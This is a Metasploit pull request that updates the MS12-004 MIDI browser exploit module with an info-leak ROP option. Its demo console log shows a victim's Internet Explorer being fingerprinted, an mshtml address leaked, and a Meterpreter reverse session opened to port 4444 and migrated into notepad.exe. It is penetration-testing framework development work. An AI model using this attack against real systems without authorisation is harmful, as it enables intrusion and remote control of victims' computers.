rapid7/metasploit-framework — pull request #1194 by wchen-r7 (2012-12-21 16:50:43+00:00)
Title: MS12-004 leaky icky

This updates the MS12-004 module for some info leaky icky. The default ROP is still MSVCRT. In order to use the info leak attack vector, specify the "MSHTML" advanced option, which supports two patch levels: 1) A newly installed XP SP box, and 2) A patch level close to MS12-004's patch.

Demo:

msf exploit(ms12_004_midi) > [*] Server started.
[*] 10.0.1.55 ms12_004_midi - Request as: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
[*] 10.0.1.55 ms12_004_midi - Sending html to 10.0.1.55:1097...
[*] 10.0.1.55 ms12_004_midi - Request as: Windows-Media-Player/9.00.00.4510
[*] 10.0.1.55 ms12_004_midi - Testing for info leak...
[*] 10.0.1.55 ms12_004_midi - Request as: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0)
[*] 10.0.1.55 ms12_004_midi - Leaked address: 0x3cf792c8
[*] 10.0.1.55 ms12_004_midi - Generating ROP using info-leak: 0x3cf792c8
[*] 10.0.1.55 ms12_004_midi - Image base of mshtml: 0x3cea0000
[*] 10.0.1.55 ms12_004_midi - Sending html to 10.0.1.55:1097...
[*] 10.0.1.55 ms12_004_midi - Request as: Windows-Media-Player/9.00.00.4510
[*] 10.0.1.55 ms12_004_midi - Sending midi corruption file...
[*] Sending stage (752128 bytes) to 10.0.1.55
[*] Meterpreter session 3 opened (10.0.1.3:4444 -> 10.0.1.55:1101) at 2012-12-21 10:46:09 -0600
[*] Session ID 3 (10.0.1.3:4444 -> 10.0.1.55:1101) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (3504)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 1872
[+] Successfully migrated to process